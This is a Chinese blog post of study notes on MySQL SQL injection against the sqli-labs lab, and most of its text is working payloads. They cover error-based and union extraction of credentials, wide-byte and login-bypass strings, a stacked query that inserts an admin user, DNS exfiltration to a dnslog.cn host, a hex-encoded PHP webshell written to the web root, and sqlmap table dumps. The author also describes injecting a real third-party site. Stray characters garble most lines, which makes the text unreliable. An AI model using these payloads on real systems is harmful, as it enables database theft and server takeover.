前言
實習(xí)電話面的時候泛释,問到了sql注入的利用滤愕,我扒拉扒拉一大堆,結(jié)果腦子一抽怜校,說Mysql注入不支持堆疊注入
我學(xué)安全目前最后悔的事情就是间影,最開始入門的時候,連數(shù)據(jù)庫這門課都沒開始學(xué)茄茁,當(dāng)時連最基本的sql查詢都搞不懂魂贬,一上來就去做sqli-labs靶場,對著教程復(fù)現(xiàn)裙顽,蹭蹭蹭做完一百多關(guān)付燥,啥印象都沒有,記錄的筆記七零八落愈犹,連做的筆記都看不懂机蔗,現(xiàn)在打算重新出發(fā),鞏固所學(xué)內(nèi)容甘萧。
漏洞環(huán)境:
環(huán)境:win7 + phpstudy + sqli-labs
部分?jǐn)?shù)據(jù)庫數(shù)據(jù):
基礎(chǔ)學(xué)習(xí):
當(dāng)mysql版本大于5.0時,存在默認(rèn)系統(tǒng)數(shù)據(jù)庫 information_schema ,該數(shù)據(jù)庫保存了MySQL服務(wù)器所有數(shù)據(jù)庫的信息。如數(shù)據(jù)庫名雷猪,數(shù)據(jù)庫的表次和,數(shù)據(jù)表的列 表欄的數(shù)據(jù)類型與訪問權(quán)限等
常見表名及相應(yīng)的字段:
information_schema.schemata #Mysql里的所有數(shù)據(jù)庫庫名
information_schema.tables #Mysql某數(shù)據(jù)庫下面的所有表名
information_schema.columns #Mysql某數(shù)據(jù)庫某數(shù)據(jù)表下面的列名
schema_name #Mysql查詢數(shù)據(jù)庫information_schema.schemata庫名時候的列名
table_name #Mysql查詢數(shù)據(jù)庫information_schema.tables表名時候的列名
column_name #Mysql查詢數(shù)據(jù)庫information_columns.column表名時候的列名
該數(shù)據(jù)庫擁有?個名為 tables 的數(shù)據(jù)表,該表包含兩個字段 table_name 和 table_schema夫偶,分別記錄 DBMS 中的存儲的表名和表名所在的數(shù)據(jù)庫
常見全局變量:
user() #獲取當(dāng)前數(shù)據(jù)庫用戶名
@@version #獲取當(dāng)前數(shù)據(jù)庫版本
@@HOSTNAME #獲取計算機(jī)名稱
@@BASEDIR #獲取mysql安裝路徑
@@version_compile_os #獲取目標(biāo)操作系統(tǒng)類型
報錯注入:
報錯注入原理:
當(dāng)在?個聚合函數(shù),比如count函數(shù)后面如果使用分組語句就會把查詢的?部分以錯誤的形式顯示
利用函數(shù):
Rand() //隨機(jī)函數(shù)
Floor() //取整函數(shù)
Count() //聚合函數(shù)
Group by key //分組語句
floor()語句報錯原理:
利?floor(),count(),group() by沖突報錯,當(dāng)這三個函數(shù)在特定情況?起使?產(chǎn)?的 錯誤
extractvalue注?的原理:
依舊如同updatexml?樣徒恋,extract的第?個參數(shù)要求是xpath格式字符串,?我們輸?的并不是欢伏。所以報錯
報錯注入常用函數(shù):
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
# 獲取當(dāng)前數(shù)據(jù)庫版本
id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
# 獲取登錄數(shù)據(jù)庫用戶名
id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#
獲取當(dāng)前數(shù)據(jù)庫名:
id=1' or updatexml(1,concat(0x7e,database(),0x7e),1)-- -
獲取當(dāng)前數(shù)據(jù)庫表名:
id=1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
獲取當(dāng)前數(shù)據(jù)庫所有表名:
id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
獲得user表所有列名:
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e))#
獲取相應(yīng)數(shù)據(jù):
id=1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#
# 獲取下一條數(shù)據(jù)入挣,以此類推
id=1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 1,1) as a),0x7e))#
這里有個問題,就是通過xpath報錯最多只顯示32位字符硝拧,而很多時候數(shù)據(jù)庫密碼至少都是32位加密的径筏,也就是爆出來的數(shù)據(jù)不完整葛假,之前發(fā)現(xiàn)一處小站點的sql注入就是這種情況:
后臺登錄界面,風(fēng)格還有點小可愛:
后端簡單的過濾了select滋恬、from聊训、where、=等關(guān)鍵字恢氯,簡單大小寫繞過及l(fā)ike繞過即可
目標(biāo)為阿里云带斑,sqlmap一跑就被封,聽說可以用阿里云跑勋拟,可惜我用的是華為云勋磕,都怪當(dāng)時阿里云不認(rèn)可我的學(xué)生認(rèn)證,渣男指黎!
這個時候我們就需要用到 mid 函數(shù)來進(jìn)行字符串截取操作來爆出后面的字符串
使用 mid 函數(shù)我們就可以使用這個語句來得到后面的字符串值
mid() 函數(shù)語法格式:
mid(str,start,[length])
str:截取的字符串
start:起始位置
length:截取的長度朋凉,可以忽略
聯(lián)合注入:
判斷字段數(shù):
id=1' order by 3#
確定回顯處:
id=0' union select 1,database(),@@version#
id=0' union select 1,updatexml(1,concat(0x7e,(select database())),1),3#
獲取當(dāng)前數(shù)據(jù)庫名及表名:
id=0' union select 1,table_name,table_schema from information_schema.tables where table_schema=database()#
獲取當(dāng)前數(shù)據(jù)庫表名:
id=0' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3#
獲取當(dāng)前數(shù)據(jù)庫所有表名:
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#
獲取某數(shù)據(jù)表所有列名:
id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'#
獲取數(shù)據(jù):
id=0' union select 1,id,email_id from emails#
獲取所有數(shù)據(jù):
id=0' union select 1,2,group_concat(concat(id,'|',username,'|',password)) from users#
id=0' union select 1,group_concat(username),group_concat(password) from users where '1'='1
id=0' union select 1,group_concat(username,password),3 from users where '1'='1
寬字節(jié)注入:
防御原理:傳入單引號會被轉(zhuǎn)義符(反斜線)轉(zhuǎn)義,導(dǎo)致參數(shù)id無法逃逸單引號的包圍醋安。
漏洞原理:
mysql 在使用GBK 編碼的時候杂彭,會認(rèn)為兩個字符為一個漢字(其他編碼形式則認(rèn)為不存在sql漏洞),而在過濾’的時候吓揪,往往利用的思路是將‘ 轉(zhuǎn)換為\’亲怠。urlencode(\‘) = %5c%27,我們在%5c%27 前面添加%df柠辞,形成%df%5c%27团秽。在GBK編碼中,%df%5c是繁體字運(yùn)叭首,這時單引號成功逃逸习勤。
另外,由于單引號被轉(zhuǎn)義焙格,所以用常用的sql語句查數(shù)據(jù)庫表名會出錯图毕,此時要用到嵌套查詢
編碼格式的逃逸,利用不同編碼格式占用的字節(jié)寬度不同眷唉,構(gòu)造payload使得單引號或其他符號的逃逸予颤,導(dǎo)致語句的閉合,然后就可以構(gòu)造payload查詢數(shù)據(jù)庫的數(shù)據(jù)
在數(shù)據(jù)庫使用了寬字符集而WEB中沒考慮這個問題的情況下冬阳,在WEB層蛤虐,由于0XBF27是兩個字符,在PHP中比如addslash和magic_quotes_gpc開啟時肝陪,由于會對0x27單引號進(jìn)行轉(zhuǎn)義驳庭,因此0xbf27會變成0xbf5c27,而數(shù)據(jù)進(jìn)入數(shù)據(jù)庫中時,由于0XBF5C是一個另外的字符氯窍,因此\轉(zhuǎn)義符號會被前面的bf帶著"吃掉"嚷掠,單引號由此逃逸出來可以用來閉合語句
獲取當(dāng)前表名:
id=admin%df' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1),0x7e),1)#
獲取所有表名:
id=0%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),3#
獲取所有列名:
id=0%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)),3#
而post型的寬字節(jié)注入捏检,有個問題要注意:
當(dāng)我們在輸入框輸入相關(guān)payload時,提交參數(shù)之后不皆,瀏覽器會對%df中的%進(jìn)行編碼為%25贯城,從而使我們的惡意payload失效。
方法一:抓包修改成正確的payload霹娄,把%25重新修改為%
方法二:我們可以將UTF-8轉(zhuǎn)換為UTF-16或者UTF-32,例如將'轉(zhuǎn)換為utf-16為: ?'能犯。我們可以利用這一點注入
萬能密碼繞過:
username:?'or 1=1#
password:隨意
獲取當(dāng)前所有表名:
username:1%FE' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
password:1%FE' or 1=1#
堆疊注入:
原理:
多條SQL語句一起執(zhí)行
一條SQL語句以;結(jié)束,我們可以在結(jié)束符后面繼續(xù)構(gòu)造下一條SQL語句犬耻,這樣它們會一起執(zhí)行
局限性:
1踩晶、堆疊注入的局限性在于并不是每一個環(huán)境下都可以執(zhí)行,可能受到 API或者數(shù)據(jù)庫引擎 不支持的限制枕磁,此外渡蜻,在權(quán)限不足的情況也不能成功執(zhí)行
2、雖然堆疊查詢可以執(zhí)行任意的 sql 語句计济,但是頁面一般只能顯示前一條語句執(zhí)行結(jié)果茸苇,第二條語句我們無法得知它是否執(zhí)行成功,第二個語句產(chǎn)生錯誤或者結(jié)果只能被忽略
在實戰(zhàn)中的利用想法:
找到管理員所在的數(shù)據(jù)表沦寂,添加新的管理員用戶和密碼
id=1';insert into users(id,username,password) values(666,'book4yi','book4yi')#
可以看到成功插入數(shù)據(jù)
利用DNS實現(xiàn)SQL注入帶外查詢:
當(dāng)我們發(fā)現(xiàn)一個站點存在一個沒有數(shù)據(jù)回顯的注入點進(jìn)行注入時学密,只能采取盲注,這種注入效率非常低传藏,而且容易被Ban腻暮,這時我們就可以利用DNSlog來快速的獲取數(shù)據(jù)
利用條件:
1、windows系統(tǒng)環(huán)境
2毯侦、需要當(dāng)前數(shù)據(jù)庫用戶有讀權(quán)限及secure-file-priv為空
3哭靖、DBMS中需要有可用的,能直接或間接引發(fā)DNS解析過程的子程序侈离,即使用到UNC
這里我們利用dnslog或者ceyo實現(xiàn)外帶盲注回顯
id=1' and load_file(concat('\\\\',(select hex(database())),'.xqvzsf.dnslog.cn\\test'))#
id=0' union select 1,2,load_file(concat('\\\\',(select hex(database())),'.xceeup.dnslog.cn\\test'))#
該payload拼接起來后就成了\security.xqvzsf.dnslog.cn\test完全符合UNC的路徑標(biāo)準(zhǔn)试幽,解析后在DNSlog平臺就能看到數(shù)據(jù)了
這里需要用到hex函數(shù),因為構(gòu)造UNC時不能有特殊符號霍狰,轉(zhuǎn)化一下更好用
注意:雖然使用hex()可以解決UNC特殊字符的問題,但是UNC的長度也不能超過128
將十六進(jìn)制值轉(zhuǎn)化為字符串饰及,得到數(shù)據(jù)庫名:
當(dāng)然蔗坯,
UNC定義
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網(wǎng)絡(luò)驅(qū)動器.。UNC命名慣例最多被應(yīng)用于在局域網(wǎng)中訪問文件服務(wù)器或者打印機(jī)燎含。我們?nèi)粘3S玫木W(wǎng)絡(luò)共享文件就是這個方式宾濒。UNC路徑就是類似\softer這樣的形式的網(wǎng)絡(luò)路徑
格式: \servername\sharename ,其中 servername 是服務(wù)器名屏箍,sharename 是共享資源的名稱绘梦。
目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑橘忱,格式為:\servername\sharename\directory\filename
二次注入:
原理:
攻擊者構(gòu)造的惡意payload首先會被服務(wù)器存儲在數(shù)據(jù)庫中,在之后取出數(shù)據(jù)庫在進(jìn)行SQL語句拼接時產(chǎn)生的SQL注入問題
舉個例子:
比如1.php頁面的功能是注冊用戶卸奉,2.php是通過參數(shù)id讀取用戶名和用戶信息
假設(shè)我們注冊用戶名:test'钝诚,那么通過2.php讀取用戶名時才會發(fā)生報錯等行為(多了一個單引號引起的語法錯誤),從而產(chǎn)生二次注入
order by 注入:
sql語句形如:
$sql = "SELECT * FROM users ORDER BY $id";
通過查詢mysql幫助文檔榄棵,了解如何利用order by 注入點:
這時可以通過升降排序判斷是否存在注入:
id=1 desc
id=1 asc
獲取用戶名:
# 利用報錯注入
id=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand()*2)) limit 0,1)
id=1 and extractvalue(1,concat(0x7e,user()))#
# 利用基于布爾的盲注:
# 利用原理:id=rand(true)# 與?id=rand(false)# 頁面顯示不一樣
id=rand(ascii(substr((user()),1,1))>64)#
# 利用基于時間的盲注:
id=1 and (if((ascii(substr((select user() limit 0,1),1,1))=115),sleep(5),1))
id=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))
插入一句話木馬至網(wǎng)站根目錄:
id=1 into outfile "D:/phpstudy_pro/WWW/insert.php" lines terminated by 0x3C3F70687020406576616C28245F504F53545B706173735D293B3F3E
id=1 into outfile "d:/1.txt" #將本要輸出的內(nèi)容導(dǎo)出到1.txt
快速定位重要數(shù)據(jù)表:
滲透中總是有一些大型的數(shù)據(jù)庫凝颇,一個數(shù)據(jù)庫中有幾百個表,一個一個看腦殼疼疹鳄。
sqlmap有一個參數(shù) --search 拧略,可以用來搜索列、表或數(shù)據(jù)庫名稱:
--search -D:搜索某個數(shù)據(jù)庫
--search -T:搜索某個表名
--search -C:搜索某個字段名
大數(shù)據(jù)表脫褲:
直接使用sqlmap:
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --dump -D sqlinject -T admin -C "id,username,password"
脫整個表:
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D users --dump-all
手動脫褲:
使用mysql自帶的mysqldump瘪弓,如果是站庫分離可以自己傳一個mysqldump上去指定 -h 參數(shù)即可垫蛆。mysqldump是沒有依賴的,單exe就能運(yùn)行腺怯,直接拖sql文件比一點一點拖快得多袱饭。
mssql的話直接拖mdf,或者osql命令
防御手段:
單引號閉合可控變量瓢喉,并進(jìn)行相應(yīng)的轉(zhuǎn)義處理
盡量使用預(yù)編譯來執(zhí)行SQL語句
采用白名單機(jī)制/完善黑名單
安裝WAF防護(hù)軟件
拒絕不安全的編碼轉(zhuǎn)換宁赤,盡量統(tǒng)一編碼
關(guān)閉錯誤提示
參考如下:
MySQL手注之報錯注入詳解
MySQL?注之聯(lián)合查詢注?詳解
Mysql報錯函數(shù)小結(jié)
SQL注入之利用DNSlog外帶盲注回顯
Dnslog在SQL注入中的實戰(zhàn)
SQL注入之Sqli-labs系列第四十六關(guān)(ORDER BY注入)
對MYSQL注入相關(guān)內(nèi)容及部分Trick的歸類小結(jié)